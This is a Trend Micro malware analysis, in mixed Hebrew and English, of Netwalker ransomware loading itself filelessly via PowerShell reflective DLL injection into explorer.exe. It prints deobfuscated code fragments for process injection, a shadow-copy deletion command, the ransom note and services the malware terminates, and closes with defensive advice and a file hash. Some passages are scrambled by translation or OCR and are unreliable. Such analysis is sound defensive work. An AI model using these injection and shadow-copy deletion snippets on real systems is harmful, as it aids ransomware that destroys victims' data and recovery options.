



לחפש

תוכנות כופר

ריצות טעינה רפלקטיבית של Netwalker Fileless Ransomware

תוכנת כופר כשלעצמה מהווה איום אדיר על ארגונים. כאיום ללא קבצים, הסיכון גדל מכיוון שהוא יכול להתחמק מגילוי בצורה יעילה יותר. אנו דנים כיצד תוכנת כופר של Netwalker נפרסת ללא קבצים באמצעות הזרקת DLL רפלקטיבית.

מאת: קארן ויקטור

18 במאי, 2020

מילים(1290) 5 דקותמן קריאה:



גורמי איום ממשיכים ליצור דרכים מתוחכמות יותר ויותר עבור תוכנות זדוניות להתחמק הכוללות תוכנות זדוניות שאינן עוברות Netwalker **כופר מסוג** מהגנות. ראינו התקפות ומבצעות ישירות ביכרון וללא אחסון קובץ PowerShell-קומפילציה, אלא נכתבות ב **ללא** הבינארי של התוכנה כופרת עצמו בדיסק. זה הופך את גרסת הכופרת הזו לאיום , מה שמאפשר לה לשמור על עמידות ולהתחמק מגילוי על ידי ניצול לרעה של כלים **קבצים** שכבר נמצאים במערכת כדי ליזום התקפות.

איום מסוג זה ממנף טכניקה הנקראת הזרקת DLL (ספריית קישורים דינמית רפלקטיבית), המכונה גם טעינת DLL רפלקטיבית. הטכניקה מאפשרת הזרקה של קובץ DLL מהזיכרון

ולא מקדישם. כונן הקשה זו שיטות יותר מהירות DLL כנולה מכיוון שמלכד המורכב מיוצא

אתר אינטרנט זה משתמש בקובצי Cookie לתפקוד האתר, ניתוח תנועה, התאמה אישית, תפקוד מדיה חברתית ופרסום. הודעת קובצי ה-Cookie שלנו מספקת מידע נוסף ומסבירה כיצד לשנות את הגדרות קובצי ה-Cookie שלך. למידע נוסף

הגדרות קובצי Cookie

לקבל



```
graph LR; A[Detect if running on x64 or x86 environment] --> B[Determine which DLL to use]; B --> C[Reflectively inject the DLL into explorer.exe]; C --> D[Run the ransomware]; D --> E[Delete shadow copies];
```

The flowchart illustrates the execution process of the ransomware. It begins with a decision step: "Detect if running on x64 or x86 environment". This leads to a selection step: "Determine which DLL to use", which is associated with two options: "Embedded x86 Ransomware DLL" and "Embedded x64 Ransomware DLL". The process then continues to "Reflectively inject the DLL into explorer.exe", followed by "Run the ransomware", and finally "Delete shadow copies".

איור 1. סקירה כללית של התנהגות סקריפט PowerShell

הסקריפט מסתתר תחת שכבות מרובות של טכניקות הצפנה, ערפול וקידוד. עבור דוגמה זו, הצלחנו לחשוף שלוש שכבות של קוד. השכבה העליונה מבצעת פקודה מקודדת base64.

[illegible]

איור 2. קטע קוד של שכבת הקוד העליונה (פקודה מקודדת ב-base64)

פענוח זה יחשוף את שכבת הקוד הבאה, שהיא מקודדת הקסדצימלית ומוצפנת ב-XOR.

אתר אינטרנט זה משתמש בקובצי Cookie לתפקוד האתר, ניתוח תנועה, התאמה אישית, תפקוד מדיה חברתית ופרסום. הודעת קובצי ה-Cookie שלנו מספקת מידע נוסף ומסבירה כיצד לשנות את הגדרות קובצי ה-Cookie שלך.

למידע נוסף



לחפש

```

15
16
17 $EFGCSjWKKFqLgPIYF[$qtOJecZvUN] = $EFGCSjWKKFqLgPIYF[$qtOJecZvUN] -Bx0z 0x47
18 }
19
20 $pDjNSNEwQy = [System.Text.Encoding]::ASCII.GetString( $EFGCSjWKKFqLgPIYF )
21
22 $UqYpIOZoleKuxXbA = [ScriptBlock]::Create( $pDjNSNEwQy )

```

איור 3. שכבת קוד שנייה (מקודדת הקסדצימלית ומוצפנת XOR)

פענוח ופענוח יחשפו לאחר מכן את הסקריפט הראשי, שעדיין מעורפל למדי, מה שמקשה על פענוח התוכן עבור אנליסטים.

```

if ( $aukhgaZFIPJBarSpJc -eq $true )
{
    $TKgfkdkQrLMAN = [System.Runtime.InteropServices.Marshal]::PtrToStructure( $(RBeMnMHvnbNEob $eIr $(
        ULhnbcyXERLvVtGXUp $TXGygZNSGcNMot.JOkB)), [Type] [Fvh.KArDfcmTZSck] )
}
else
{
    $TKgfkdkQrLMAN = [System.Runtime.InteropServices.Marshal]::PtrToStructure( $(RBeMnMHvnbNEob $eIr $(
        ULhnbcyXERLvVtGXUp $TXGygZNSGcNMot.JOkB)), [Type] [Fvh.iIARR] )
}
$supEcLTMCGhc = $AaanDVCQMlKUXx::lsJtHM( $( ULhnbcyXERLvVtGXUp $TKgfkdkQrLMAN.AzOVgkIsqtmgykQIb.KqELfXfIXPzsm ),
$TKgfkdkQrLMAN.AzOVgkIsqtmgykQIb.XNkbT, 0x00001000 -bor 0x00002000, 0x04 )
if ( $supEcLTMCGhc -eq 0 )
{
    $supEcLTMCGhc = $AaanDVCQMlKUXx::lsJtHM( 0, $TKgfkdkQrLMAN.AzOVgkIsqtmgykQIb.XNkbT, 0x00001000 -bor 0x00002000, 0x04 )
}
if ( $supEcLTMCGhc -eq 0 )
{
    return
}
$smofizSsnxylxNuA = $AaanDVCQMlKUXx::PMUN( $VxxHhZypWSgsPvKNUdx, $supEcLTMCGhc, $eIr, $TKgfkdkQrLMAN.AzOVgkIsqtmgykQIb.
CZOEXab, [ref]([UInt32]0) )
if ( $smofizSsnxylxNuA -eq $false )
{
    return $lItUIbvCvHxzMmrKtX = $( RBeMnMHvnbNEob $eIr $( ULhnbcyXERLvVtGXUp $TXGygZNSGcNMot.JOkB ) )
}
if ( $aukhgaZFIPJBarSpJc -eq $true )
{
    $lItUIbvCvHxzMmrKtX = RBeMnMHvnbNEob $lItUIbvCvHxzMmrKtX $( [System.Runtime.InteropServices.Marshal]::SizeOf(
        [Type] [Fvh.KArDfcmTZSck] ) )
}

```

איור 4. קטע קוד של הסקריפט הראשי המעורפל

הקובץ מזריק באופן רפלקטיבי קובץ DLL של תוכנת הכופר לזיכרון של התהליך הלגיטימי explorer.exe. תוכנת הכופר מוטמעת בסקריפט בפורמט הקסדצימלי.

```

#PEbytes
[byte[]] $pFvKdtq = @ (0xad,0xde,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xff,0xff,0x00,0x
[byte[]] $GxwyKvgEkr = @ (0xad,0xde,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xff,0xff,0x00,0x

```

איור 5. קבצי כופר בינאריים מוטמעים בסקריפט בפורמט הקסדצימלי

אתר אינטרנט זה משתמש בקובצי Cookie לתפקוד האתר, ניתוח תנועה, התאמה אישית, תפקוד מדיה חברתית ופרסום. הודעת קובצי ה-Cookie שלנו מספקת מידע נוסף ומסבירה כיצד לשנות את הגדרות קובצי ה-Cookie שלך. למידע נוסף



לְתַפֵּס

```

if ( ( Get-WmiObject Win32_processor).AddressWidth -eq 64 )
{
    [byte[]]$EbihwfodUZMKtNCBx = $GxwyKvgEkr
    $sankhgaZFipJBarSpJc = $true

    if ( $env:PROCESSOR_ARCHITECTURE -ne 'amd64' )
    {
        if ($myInvocation.Line)
        {
            &"$env:WINDIR\syntaxnative\windowspowershell\v1.0\powershell.exe" -ExecutionPolicy ByPass -NoLogo -
            NonInteractive -NoProfile -NoExit $myInvocation.Line
        }
        else
        {
            &"$env:WINDIR\syntaxnative\windowspowershell\v1.0\powershell.exe" -ExecutionPolicy ByPass -NoLogo -
            NonInteractive -NoProfile -NoExit -file "$($myInvocation.InvocationName)" $args
        }
        exit $lastexitcode
    }
}

```

Figure 6. Script that determines what environment the ransomware is running on

To successfully perform reflective injection, it first locates the API addresses of the functions it needs from kernel32.dll:

```

$fxGRAn0 = @"
[DllImport("kernel32.dll", SetLastError = true, EntryPoint = "VirtualAlloc")]
public static extern IntPtr l3JtHM(IntPtr Bol, UIntPtr HMPMFvJgstQY, UInt32 vgoWJORGpic1b, UInt32 hkGugwGTQ2vvWo);
[DllImport("kernel32.dll", SetLastError = true, EntryPoint = "GetProcAddress")]
public static extern IntPtr prINVMFazIdTgzP(IntPtr ifSw, string Opk);
[DllImport("kernel32.dll", SetLastError = true, EntryPoint = "LoadLibraryA")]
public static extern IntPtr cok(string ShhhpoDsfFvDZTBd);
[DllImport("kernel32.dll", SetLastError = true, EntryPoint = "WriteProcessMemory")]
public static extern bool EHMN(IntPtr EhmGfRgUJdcipaZ, IntPtr LchRCIUQcMLM, IntPtr LvlCKgkzswYKqDej, UIntPtr dtdXji, ref UIntPtr ARX);
[DllImport("kernel32.dll", SetLastError = true, EntryPoint = "VirtualFree")]
public static extern bool iKbJ(IntPtr lNkjlMFMabhc, UIntPtr ltfzow, UInt32 vuxnsidbeopec);
[DllImport("kernel32.dll", SetLastError = true, EntryPoint = "GetCurrentProcess")]
public static extern IntPtr rGRyDaNP();
[DllImport("kernel32.dll", SetLastError = true, EntryPoint = "CloseHandle")]
public static extern bool KZ0ccbFuympiuypM(IntPtr tdJ);
[DllImport("kernel32.dll", SetLastError=true, EntryPoint = "VirtualAllocEx")]
public static extern IntPtr uLYvBBdJnrxUs(IntPtr YlSaEzIgH, IntPtr wdNDKlXhH00oyOXuvTA, UIntPtr RnKrUz2lAIJLNMhazM2, UInt32 AtS1ZBuh5JtXBmHkQU, UInt32 kctWSdoMhWQtOLg);
[DllImport("kernel32.dll", SetLastError=true, EntryPoint = "VirtualProtectEx")]
public static extern bool cfyQ(IntPtr lWvOvqaxvLtkneMqQ, IntPtr nFtnfHsu, UIntPtr wRUhabkiyYetUoFmJF, UInt32 OaIjwHBYvNYrXdTBi, ref UInt32 iskayfIKdDoABrf);
[DllImport("kernel32.dll", SetLastError = true, EntryPoint = "OpenProcess")]
public static extern IntPtr dzanKxasWJjxolKwLCW( UInt32 XQsq, bool sJMQAcwvjxyEJedInpc, UInt32 xZgzW );
[DllImport("kernel32.dll", EntryPoint = "CreateRemoteThread")]
public static extern IntPtr ZFbaRSaO(IntPtr POUtkPqPEQUqha, IntPtr kcNbhTcfxJJLr, UInt32 BaLkqkCdf, IntPtr svLhXMTiJWSzbnMGHfh, IntPtr bkiIDmnCEAh, UInt32 iPRCDsz, IntPtr
"@

```

Figure 7. Ransomware collecting API Addresses from kernel32.dll

Then it uses the following functions to set up accurate memory address calculations:

אתר אינטרנט זה משתמש בקובצי Cookie לתפקוד האתר, ניתוח תנועה, התאמה אישית, תפקוד מדיה חברתית ופרסום. הודעת קובצי ה-Cookie שלנו מספקת מידע נוסף ומסבירה כיצד לשנות את הגדרות קובצי ה-Cookie שלך. למידע נוסף



לחפש

```

+ {
    #Add-SignedIntAsUnsigned
    Function RBeMnMHvnbNEob
+ {
    #Convert-UIntToInt
    Function ULhnbcyXERLvVtGXUp
+ {
    #Convert-UIntToInt
    Function pmWsENpD
+ {
    #Get-DelegateType #
    Function lrcTwTXsUgcNNyNUH
+ {

```

Figure 8. Functions for setting up memory calculations

אתר אינטרנט זה משתמש בקובצי Cookie לתפקוד האתר, ניתוח תנועה, התאמה אישית, תפקוד מדיה חברתית ופרסום. הודעת קובצי ה-Cookie שלנו מספקת מידע נוסף ומסבירה כיצד לשנות את הגדרות קובצי ה-Cookie שלך. למידע נוסף



לחפש

```
if ( $rQ2ynJrPEE1ugNz -eq $false )
{
    $wfl1LEP = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WEZE, [Type][Fvh.jrglUJ])
    $yRSSKOFGVRmlzK = [System.Runtime.InteropServices.Marshal]::PtrToStructure($(RBehnMHvnbNEob $WEZE $(ULhnbcyXERLwVtGXUp $wfl1LEP.JOkB)), [Type][Fvh.iIARR])
    qGdKNThnYg1iXZ $WEZE $VIOb $yRSSKOFGVRmlzK.AzOVgkIsqtmgykQIb.SeheECGGrMBTG.hJuF $(ULhnbcyXERLwVtGXUp $yRSSKOFGVRmlzK.AzOVgkIsqtmgykQIb.KgELfXfIXPzmsd)
}
$HoomaY = $AaadVQCMIKUXx::PMUN( $Wghsz, $VIOb, $WEZE, $TRwspBzVDDwZLRqvH, [ref]([UInt32]0) )
if ( $HoomaY -eq $true )
{
    $whbfqoe1lVPwXQym = RBehnMHvnbNEob $VIOb $( ULhnbcyXERLwVtGXUp ( $Gxh ) )
    $GVknIOH = $AaadVQCMIKUXx::ZFbaRSaO( $Wghsz, 0, 0, $whbfqoe1lVPwXQym, 0, 0, 0 )
    if ( $GVknIOH -ne 0 )
    {
        $EBoikVjetCapXYhHJEI.value = $true
    }
}
$AaadVQCMIKUXx::iKbJ( $WEZE, ([UInt32]0), 0x00008000 ) | Out-Null
$AaadVQCMIKUXx::KZOccbFuympIuVpM( $Wghsz ) | Out-Null
```

Figure 9. Code snippet for computing the needed memory addresses

In this manner, the script itself acts as the DLL's own custom loader. This eliminates the need for a traditional windows loader, which usually makes use of the LoadLibrary function. The script itself can compute and resolve its needed memory address and relocations to load the DLL correctly.

It then specifies the process it will inject into; in this case it searches for the running Windows Explorer process.

```
ozesOBwrUGaviaPvkV 'explorer' $upEoLTMCGhc $TKgfkdkQrLMAN.AzOVgkIsqtmgykQIb.XNkbt $TKgfkdkQrLMAN.AzOVgkIsqtmgykQIb.
UJXRvKZSoPevEdqjjiTT $aukhgaZFiPjBarSpJc ([ref]$rbwueXQH0)
```

Figure 10. Code snippet for searching running Windows Explorer process

Afterwards, it will write and execute the ransomware DLL into the memory space of explorer.exe through the following code:

אתר אינטרנט זה משתמש בקובצי Cookie לתפקוד האתר, ניתוח תנועה, התאמה אישית, תפקוד מדיה חברתית ופרסום. הודעת קובצי ה-Cookie שלנו מספקת מידע נוסף ומסבירה כיצד לשנות את הגדרות קובצי ה-Cookie שלך. למידע נוסף



לחפש

```

)
$dYoDuWY = 0xa000
if([System.IntPtr]::Size -eq 4)
{
    $dYoDuWY = 0x3000
}

if($tLwpoTPfterOCWDCo -eq 0)
{
    return $false
}

$WwgdFulv = jGHCogMzZJqMjKXBIJ
$VZh
$AqSSmVjms
$iWgABxaJiwxMaltP = RBeMnMHvnbNEob
$jXdqQzbnIlHmkq
$(ULhnbcyXERLvVtGXUp $tLwpoTPfterOCWDCo)
$KgEqtPg = [System.Runtime.InteropServices.Marshal]::PtrToStructure($iWgABxaJiwxMaltP, [Type][Fvh.hedrtSpRy])
while ($KgEqtPg.regOENbPwRRujnbTf)
{
    $PGB = RBeMnMHvnbNEob $jXdqQzbnIlHmkq $(ULhnbcyXERLvVtGXUp $KgEqtPg.regOENbPwRRujnbTf)
    $fngmhfhzhorbsRQma = ($KgEqtPg.rRcNluIdCnPhbAI - ([UInt32]8)) / 2
    $yLBMKLAj = RBeMnMHvnbNEob $iWgABxaJiwxMaltP 8
    for($xyf=0;$xyf -lt $fngmhfhzhorbsRQma ; $xyf++)
    {
        $yLXDfeMuYiXO = pmWsENpD $([System.Runtime.InteropServices.Marshal]::ReadInt16($yLBMKLAj))
        if( $( $yLXDfeMuYiXO -band $dYoDuWY) -eq $dYoDuWY)
        {
            $gLgGUnjHAAQp = $yLXDfeMuYiXO -band 0xffff
            $pvNjCfLIOXT1LJworXSm = RBeMnMHvnbNEob $PGB $gLgGUnjHAAQp
            $OKWtrt = RBeMnMHvnbNEob $([System.Runtime.InteropServices.Marshal]::ReadIntPtr($pvNjCfLIOXT1LJworXSm))
            $WwgdFulv
            [System.Runtime.InteropServices.Marshal]::WriteIntPtr($pvNjCfLIOXT1LJworXSm, $OKWtrt)
        }
    }
}

```

Figure 11. Code snippet of writing the ransomware DLL code into memory

Finally, it deletes Shadow Volume Copies and prevent the victim from using Shadow Volumes to recover their encrypted files.

```

Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();} | Out-Null
$AaaUDVCQMLKUXx::iKbJ($SupEcLTMCGhc, ([UInt32]0), 0x00008000) | Out-Null
$AaaUDVCQMLKUXx::KZOccbFuypmipuvpM($VxxHhZYpWSgsPvKNuDx) | Out-Null

```

Figure 12. Code snippet for deleting Shadow Volume Copies

This sample appears to have been derived from **PowerSploit's Invoke-Mimikatz** module, an open source program that was originally intended to

אתר אינטרנט זה משתמש בקובצי Cookie לתפקוד האתר, ניתוח תנועה, התאמה אישית, תפקוד מדיה חברתית ופרסום. הודעת קובצי ה-Cookie שלנו מספקת מידע נוסף ומסבירה כיצד לשנות את הגדרות קובצי ה-Cookie שלך. למידע נוסף



לְחַפֵּשׁ

Name	Type
 Descript.ion.b79e2e	B79E2E File
 License.txt.b79e2e	B79E2E File
 Order.htm.b79e2e	B79E2E File
 Rar.txt.b79e2e	B79E2E File
 RarFiles.lst.b79e2e	B79E2E File
 rarnew.dat.b79e2e	B79E2E File
 ReadMe.txt.b79e2e	B79E2E File
 Uninstall.lst.b79e2e	B79E2E File
 WhatsNew.txt.b79e2e	B79E2E File
 WinCon.SFX.b79e2e	B79E2E File
 WinCon64.SFX.b79e2e	B79E2E File

Figure 13. Encrypted files renamed using 6 random characters as extension

It drops ransom notes at various folders in the system and opens one after

אתר אינטרנט זה משתמש בקובצי Cookie לתפקוד האתר, ניתוח תנועה, התאמה אישית, תפקוד מדיה חברתית ופרסום. הודעת קובצי ה-Cookie שלנו מספקת מידע נוסף ומסבירה כיצד לשנות את הגדרות קובצי ה-Cookie שלך. למידע נוסף



לְחַפֵּשׂ

```
and your heart rate has increased due to the ability to turn it off,
then we recommend that you move away from the computer and accept that you have been compromised.
Rebooting/shutdown will cause you to lose files without the possibility of recovery.

--
our encryption algorithms are very strong and your files are very well protected,
the only way to get your files back is to cooperate with us and get the decrypter program.

Do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover.
For us this is just business and to prove to you our seriousness, we will decrypt you one file for free.
Just open our website, upload the encrypted file and get the decrypted file for free.

--
Steps to get access on our website:
1.Download and install tor-browser: https://torproject.org/
2.Open our website: [REDACTED]
If the website is not available, open another one: [REDACTED]
3.Put your personal code in the input form:
{code_bb2836:
[REDACTED]
}
```

Figure 14. Netwalker ransom note

It adds the following registry entry. Adding this entry is a known behavior of Netwalker:

```
HKEY_CURRENT_USER\SOFTWARE\{8 random characters}
```

```
{8 random characters} = {Hex values}
```

```
process path: C:\Windows\explorer.exe
key: HKCU\Software\bb28363c
Type: REG_BINARY
value: bb28363c
data: 38 82 CB 92 58 41 F2 28 5A 46 55 03 86 02 64 6A 9C 2F 35 09 0E D2 4A 1D C0 78 58 11 6F 1C EC 5D 5F EF
5A FE 55 7E 52 73 13 14 67 B8 B8 27 96 27 83 97 E2 0B 9C 33 2A 02 9E 0D 26 A0 E7 A7 B6 8D 1B B0 C3 49 48
C3 55 34 32 D2 7D 0B 40 C6 A3 6C 1D 5A 88 4A FF FA FD 5C 51 C8 CE D4 81 83 E4 E8 93 CE 8D 76 61 B1 60 B4
81 F3 33 F9 0B A8 7A C5 90 F3 80 72 C8 E2 03 1E EF DA 8B 9A A6 34 B1 61 EE 6B 1B 21 C8 CC DE 53 A5 C1 7A
C8
```

Figure 15. Sample registry entry created by Netwalker

אתר אינטרנט זה משתמש בקובצי Cookie לתפקוד האתר, ניתוח תנועה,
התאמה אישית, תפקוד מדיה חברתית ופרסום. הודעת קובצי ה-Cookie שלנו
מספקת מידע נוסף ומסבירה כיצד לשנות את הגדרות קובצי ה-Cookie שלך.
למידע נוסף



לְחַפֵּשׁ

Below are some examples of services terminated by the ransomware (for the full list of services, please see [this report](#)):

- ***backup***
- ***sql***
- **AcronisAgent**
- **ARSM**
- **server Administrator**
- **ShadowProtectSvc**
- **wbengine**

The ransomware also stops security software-related processes to evade detection and termination of its malicious activities.

Additionally, it also terminates processes relating to user data and documents, as well as software for creating backups. Then it will proceed to encrypt files created through those applications.

Example processes terminated by the ransomware (for the full list of processes, please see [this report](#)):

- ***sql***

אתר אינטרנט זה משתמש בקובצי Cookie לתפקוד האתר, ניתוח תנועה, התאמה אישית, תפקוד מדיה חברתית ופרסום. הודעת קובצי ה-Cookie שלנו מספקת מידע נוסף ומסבירה כיצד לשנות את הגדרות קובצי ה-Cookie שלך.
למידע נוסף



לְחַפֵּשׁ

... system completely useless since it generally avoids encrypting any critical files, executables, Dynamic Link Libraries, registries, or other system-related files.

Conclusions and Recommendations

It appears that attackers are now adding Reflective DLL injection into their ransomware arsenal in an attempt to make their attacks untraceable and more difficult to investigate by security analysts. Ransomware in itself poses a formidable threat for organizations. As a fileless threat, the risk is increased as it can more effectively evade detection and maintain persistence. Blended threats such as this make use of multiple techniques, making it necessary for organizations to use various layers of security technologies to effectively protect their endpoints, such as security solutions that employ behavior monitoring and behavior-based detections.

These types of attacks can affect victims tremendously, and they can be painstakingly difficult to recover from. Employing adequate preventive measures, such as applying best practices, will greatly minimize the risk of infection. Here are some of our recommendations to help avoid ransomware attacks:

- Regularly back up critical data to mitigate the effects of a ransomware attack
- Apply the latest software patches from OS and third-party vendors.

אתר אינטרנט זה משתמש בקובצי Cookie לתפקוד האתר, ניתוח תנועה, התאמה אישית, תפקוד מדיה חברתית ופרסום. הודעת קובצי ה-Cookie שלנו מספקת מידע נוסף ומסבירה כיצד לשנות את הגדרות קובצי ה-Cookie שלך.
למידע נוסף



לְחַפֵּשׂ

- Secure PowerShell use by taking advantage of its logging capability to monitor suspicious behavior.
- Use PowerShell commands such as ConstrainedLanguageMode to secure systems from malicious code.
- Configure system components and disable unused and outdated ones to block possible entry points.
- לעולם אל תוריד ותפעיל קבצים ממקורות לא מוכרים

אנו ממליצים גם על פתרונות אבטחה המשתמשים בניטור התנהגות שיכולים לפעול כנגד סוגי איומים אלה:

- **Trend Micro Apex One™** - כולל ניתוח התנהגותי המגן מפני סקריפטים זדוניים, הזרקה, תוכנות כופר והתקפות זיכרון ודפדפן הקשורות לאיומים ללא קבצים.

אינדיקטור לפשרה

SHA-256	ניות של Trend Micro
f4656a9af30e98ed2103194f798fa00fd1686618e3e62fba6b15c9959135b7be	PS1.NETWALK



אתר אינטרנט זה משתמש בקובצי Cookie לתפקוד האתר, ניתוח תנועה, התאמה אישית, תפקוד מדיה חברתית ופרסום. הודעת קובצי ה-Cookie שלנו מספקת מידע נוסף ומסבירה כיצד לשנות את הגדרות קובצי ה-Cookie שלך. למידע נוסף



לְחַפֵּשׁ

מחברים

קארן ויקטור
אנליסט איומים

צרו קשר

מאמרים קשורים

[פגם ישן ב-WinRAR מלבה התקפות על אוקראינה: כיצד תוכנה לא מנוהלת שומרת על הדלת פתוחה](#)

[בתוך Shadow-Earth-053: קמפיין ריגול קיברנטי בשיתוף פעולה עם סין נגד מגורי הממשלה והביטחון באסיה](#)

[ניתוח תוכנת הזדונית InvisibleFerret שהורכבה על ידי Cython של Void Dokkaebi](#)

[> ראה את כל המאמרים](#)

אתר אינטרנט זה משתמש בקובצי Cookie לתפקוד האתר, ניתוח תנועה, התאמה אישית, תפקוד מדיה חברתית ופרסום. הודעת קובצי ה-Cookie שלנו מספקת מידע נוסף ומסבירה כיצד לשנות את הגדרות קובצי ה-Cookie שלך. למידע נוסף



לְחַפֵּשׁ

אודות טרנד



מטה המדינה



בחר שפה

אנגלית (ארה"ב)

הרחב__ עוד

פרטיות

משפטי

נגישות

תנאי שימוש

מפת אתר

כל הזכויות שמורות © 2026 Trend Micro Incorporated.

אתר אינטרנט זה משתמש בקובצי Cookie לתפקוד האתר, ניתוח תנועה, התאמה אישית, תפקוד מדיה חברתית ופרסום. הודעת קובצי ה-Cookie שלנו מספקת מידע נוסף ומסבירה כיצד לשנות את הגדרות קובצי ה-Cookie שלך. למידע נוסף